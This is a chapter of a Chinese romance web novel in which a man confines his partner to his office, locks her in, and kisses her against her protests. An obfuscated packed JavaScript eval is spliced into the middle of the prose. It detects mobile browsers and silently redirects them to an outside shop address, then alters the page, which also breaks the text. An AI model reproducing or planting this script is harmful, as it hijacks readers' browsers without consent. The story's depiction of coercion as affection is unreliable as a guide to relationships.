回国前一晚,程泛声将机票信息发给她。他已经出院了。
登机后,姜好担心了一下邻座会不会是他。看见金发碧眼的陌生面庞后,她才松了口气。
也对,程泛声不至于这么幼稚。
近半日的航程结束,飞机降落在国内机场。
来接她的,是安知序的司机。
车行的方向并非回家,而是朝着安胜集团驶去。
姜好没有多问,顺从地跟着指引,来到了他的办公室。
她推门而入,安知序立刻放下手中的工作,来到她身边。姜好俯身给了他一个久违的拥抱。
安知序的手臂环住她,迟迟没有松开。
姜好的下巴搁在他的肩上,声音里带着浓浓的倦意轻笑:“我很困。我还要倒时差。知序,我要睡一觉。”
将近十四小时的行程,姜好几乎没有合眼,只在途中勉强微眯几十分钟。她一向厌恶乘机,一上飞机就会不适,难以入眠。
她整个人几乎要软软地滑跪下去,安知序稳稳地托住她,就这样半扶半抱着将她带进休息室,轻轻放倒在床上。
他细致地解开包带、脱下鞋子……
安知序支着轮椅在床周围忙前忙后,像在玩电脑上的家居小游戏,而她是被他照顾的小公主。
姜好侧着头看他,忍不住笑出来。渐渐的,眼睛不知不觉地眯起来,连她自己都失去了入睡前一刻的记忆。
茶几上热气腾腾的早餐的香气,温柔地唤醒了她的嗅觉。随后,整个人也悠悠转醒。
“头好痛……”
姜好支着手臂坐起来,一杯温水适时递到手中。
“喝点水润润嗓子,你昨晚有些咳嗽。”
姜好望向窗外,天色大亮。
“几点了?”
“早上八点。”
姜好没想到自己一觉睡到了次日清晨,不由失笑:“这下时差真倒过来了。”
她身上的衣物已换过一套干净的,姜好去洗手间简单洗漱,回来用餐。
昨夜很显然她就这么在这张床上睡了一晚,她看向安知序:“你昨晚没回家?”
“没。”
姜好“噢”了一声。看来昨晚他也在这张床上将就。
“还困吗?”安知序见她夹筷子的动作慢吞吞的,像电影里的慢镜头。
姜好摇摇依旧昏沉的脑袋,偶尔,这种乘机的不适感会延续到落地以后。
幸好,今天不用去上班。
“我待会儿再躺一下就好。”
晨时安知序有会,他前往会议室,姜好坐在他的电脑桌前浏览新闻。
她模仿着程泛声的习惯,晨起阅读医疗国际新闻,不错过任何与时俱进的机会,试图和他一起走在行业前沿。
新愈和OEMF合作,是一桩不大不小的新闻。有人关心,也有人毫不在意。
姜好点进新闻。
其中一张配图是程泛声的旧照,虽然成熟,但比起现在还是略显青涩。姜好回忆,这应该都是两年多前的了。想来是因为程泛声病愈不久,他推掉了一切采访,媒体只能用存档照片充数。
姜好支起手臂,手掌撑在脸下,在搜索框内输入“新愈”,开始“视奸”。
助理轻叩门扉,端来热水和感冒药。
“姜小姐,这是感冒药。安总嘱咐您吃药预防一下。”
姜好含混地应了一声,头也不抬,继续浏览着新闻。
助理整理了一会资料才离开,门即将关上时,姜好叫住他:“麻烦你,我想打印这份报道。”
她想细读其中关于OT的部分,但她不会操作打印机。
助理打开打印机,调好设置:“可以了。您那边直接右键下载打印就好。”
“OK。”
报道在预打印队列里跳出来,紧随其下的一行字钻入姜好的视线。
李南恩。
上一份打印过的文件,就叫这个名字。
李南恩。
姜好头一凉,移动鼠标点开文件。
密密麻麻的文字映入眼帘,详细地罗列着李南恩的教育经历、工作经历……尤其在大学这个板块,笔墨浓重,事无巨细。
数十页文字将他的前半生铺陈开来。
打印机嗡嗡吐出纸。助理整理好,放在桌边。
姜好关掉那份以李南恩为名的文件,转身拿起打印好的报道。
她努力地阅读,然而那些文字在她的视线下仿佛模糊的雨点,余光中,她看见自己的双手颤动。
安知序回到办公室,看见桌上那杯未动的水和原封不动的药。他的目光越过杯沿,落在电脑后那颗毛茸茸的、低垂着的脑袋上。
“好好,”他罕见地使用责备的语气,“你忘了吃药。”
姜好从屏幕后抬起头。
她下意识道:“抱歉……”
“不用和我说道歉,”安知序向她靠近,碰杯试了下水的温度,“我只是担心你。水还温着,你把药吃了吧。”
感冒药是最好的安眠药,姜好强撑着在电脑上处理了会工作,便又回到床上沉沉睡去。
后来半梦半醒间,她感受到身后床垫下陷。一双手从身后环住她,男人单薄的胸膛贴上她的脊背,温热的体温透过衣料传来,她无意识地嘤咛一声。
男人察觉,掌心轻柔抚着她的秀发,将她哄睡,滚烫的呼吸扑在她的颈间。他们紧密相连,未有隔阂。
直到午后太阳西斜,安知序将她喊醒。
“好好,再不起来,时差就白倒了。”
他的吻细密落下,像春雨般轻触她的脸颊。直到姜好再也受不住这温柔的侵扰,伸手抵住他的胸膛,懒懒地坐起身。
安知序的手臂仍环在她腰间,将她圈回怀里。姜好靠在他肩头,嗓音带着初醒的沙哑:“几点了?”
他低头寻她的唇,辗转厮磨许久,才抵着她的额头回答:“两点多。饿不饿?”
姜好拽过枕头垫在腰后:“我想吃面包。还有牛奶。”
“好。”安知序伸手拨通内线电话吩咐下去。
安知序的手臂始终不放,姜好抬头凝着他的下颚,安知序感受到,又俯身下来,细碎的吻沿着她的额头一路向下,直到脖颈、裸露的胸口。
“你干嘛……”姜好蜷起手指,推他。
因为生病的缘故,安知序常常展露脆弱的一面,偶尔会这样依赖她,与她贴贴,寻求她的抱抱,肌肤相亲慰藉他的孤独。
但是,安知序很少这么、这么黏人。
像一只巨大的布偶猫,整个人挂在他身上。
安知序抓住她推拒的指尖,温柔却不容拒绝地按在一旁,随后将她更深地拥入怀中,手臂收得更紧。
姜好的脸颊被迫贴在他温热的颈间,声音闷闷的:“不忙工作吗?”
他的鼻尖在她脸颊上轻轻蹭过,呼吸温热:“太想你了,好好,我想你。”
姜好不说话了,就这样任他抱着、搂着、吻着,像一艘停泊在港湾的小船,已到达终点。
她走神,只一瞬间忘记回应他的亲吻,安知序便抓住她的下巴将她脸转过来,再次覆上她的唇。
“不许分神,”他的声音延绵在交缠的呼吸里,“只许想我一个人。”
动人的情话融化在灼热的亲吻里,姜好仰头回应他的吻,身体与他紧密相依。
直到牛奶和面包被送进房间。
安知序不许助理进入,也不许姜好下床去取。他画地为牢,将姜好圈禁在床上。
“干嘛这么麻烦……你把我当金丝雀啦?”
姜好看着安知序费力地坐到轮椅上,滑到门口取来面包和牛奶。
安知序不接话,行动上却表明答案。他重新回到床上,含住一口温牛奶,随即俯身向她靠近。
姜好躲闪:“我不要!”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100148|191701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
手腕被捉住,最终还是被他拉回身下,情急时刻姜好脸一撇,牛奶顺着她的唇角流下,滴落在床单上。
甜腻的奶腥味瞬间在空气中弥漫开来,姜好胃里一阵翻涌,第一次对这味道感到生理性的厌恶。
安知序的动作戛然而止。
他在她的上方支撑着手臂,这个动作对他来说,需要耗费大量力气。
他凝视她片刻,然后伸出手,用指腹极其轻柔地拭去她唇边的奶渍。
理智渐渐回笼。
“对不起。”
听见他的声音,姜好总算平复下来,紧绷的身体松懈。她揪住他的领带,没有用力,他顺着她的动作,从她的身上离开。
“你去工作吧。”姜好用被子将自己裹紧,脸转向一边。楼下繁华一片,人流如织,楼层之高,小到她只能看见圆点在移动。
安知序沉默离开,姜好听见房门关闭的声音后才转过脸。
默默将床头柜上的牛奶推到一边,她拿起面包,都是她爱吃的口味,今天却只吃几口就没了胃口。
即使肚子咕咕响提醒她正饿着。
安知序在外工作,姜好听见门开开合合的声音,时常有人进来低声汇报。
后来她听见安知序离开办公室的声音,外面彻底安静下来。
姜好立刻下床,披上外套,开门——门从外锁住了。
她不敢置信地拧了好几圈门锁,最终才确认这个事实。她真的被锁在门内了。
她拼命拍打门板:“开门!人呢!”
一分多钟后门外有了动静。听见有人开门而入,姜好更加用力地敲门:“开门!我要出去!开门!”
脚步声在门外停顿了片刻,随即若无其事地走远。
他们又离开了办公室。
因为他们都听令于安知序。
“开门啊……”姜好落下泪,眼泪顺着脸颊淌下,浑身的力气被抽空,她沿着门滑坐在地上。
她不再敲门,而是不停地转动门锁,哪怕它纹丝未动。
当她终于放弃求助于别人,决定在房间里寻找砸门或者砸锁的工具时,门陡然从外面拉开。
她失去依靠,身子轻飘飘跌下,安知序伸手将她接住。她跌坐在他腿间,额头抵着来人冰凉的西裤。
安知序俯身握住她的手,掌心那片刺眼的红痕让他心头一紧。他将那微微颤抖的手合在自己掌心,声音放得极轻:
“好好,起来。”
泪水沾湿他的西裤,安知序逐渐感受到湿润的凉意。
轻微的。
不易察觉的。
“好好……”他再次唤她,带着恳求,“起来吧。”
她还在哭。
手抚过她的脸颊,温柔地抿去她颊上的眼泪。
“你去哪里了?”她的声音发抖。
“只是去开个会。没有走远,我在。”他再次试图将她拉起,却力不从心,她更深地陷落在他腿间的方寸之地。
过了一会,姜好主动站起身,退到一步之外。
安知序伸手,却只触到空气。
姜好抬手,手背拭过眼泪,声音平静下来。
“我饿了。我想出去吃饭。”
“你想吃什么?”
她说了一家他们曾经吃过的餐厅。
“好,我让人买回来。”
“我想出去吃。”
“我还有工作要处理,没办法陪你。”
“我一个人去吃。”她坚持,“真的很饿。”
安知序没再与她争辩,出去拨通了电话。他一边吩咐助理,一边侧头询问姜好:“你想吃什么?”
姜好不说话。她看着紧闭的办公室门。
安知序迅速给助理报了几道菜名,回到休息室,轻轻将她往里带了带,第二道门随之关闭。
他耐心地和她讲道理:“今天不可以。改天陪你去店里吃,好吗?”